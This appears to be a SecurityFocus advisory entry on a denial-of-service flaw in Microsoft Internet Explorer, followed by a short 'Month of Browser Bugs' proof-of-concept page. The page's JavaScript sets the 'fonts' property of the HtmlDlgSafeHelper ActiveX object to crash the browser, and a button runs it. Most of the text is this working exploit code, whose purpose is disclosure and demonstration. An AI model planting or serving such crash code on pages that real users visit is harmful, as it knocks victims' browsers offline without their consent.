source: https://www.securityfocus.com/bid/18929/info
Microsoft Internet Explorer is prone to a denial-of-service vulnerability.
This issue is triggered when an attacker convinces a victim user to visit a malicious website.
Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.
// MoBB Demonstration
function Demo() {
var a = new ActiveXObject('HtmlDlgSafeHelper.HtmlDlgSafeHelper');
a.fonts = "Goodbye!";
}
</script>
Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>